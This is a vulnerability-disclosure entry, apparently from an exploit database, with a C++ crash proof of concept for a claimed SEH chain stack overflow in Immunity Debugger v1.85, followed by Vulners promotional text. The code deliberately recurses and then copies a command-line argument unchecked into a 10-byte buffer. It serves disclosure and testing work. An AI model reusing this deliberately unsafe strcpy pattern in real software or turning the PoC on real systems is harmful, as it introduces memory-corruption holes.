/* ==================================================
Filename : Crash_POC.cpp
Title : Immunity Debugger – Crash POC
Name: Immunity Debugger v1.85 SEH Chain Stack Overflow
Discoverer: Veysel HATAŞ ([email protected])
Vendor: Immunity Inc
Systems Affected: Windows
Risk: Low
Status: Not Fixed
Discovered: 05 January 2014
Reported: 06 January 2014
Published: 20 March 2014
Description: Immunity Debugger V1.85 contains stack overflow vulnerability in //its SEH chain mechanism
=================================================== */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int g_Count;
void foo(char *data);
int main(int argc, char* argv[])
{
g_Count = 0;
foo(argv[1]);
return 0;
}
void foo(char *data)
{
char salla[10];
printf("Deneme - %d\n", g_Count);
g_Count++;
if (g_Count == 510){
strcpy(salla, data);
}
try{
foo(data);
}
catch(int e){
printf("Error code is : %d", e);
}
}
# 0day.today [2018-03-14] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation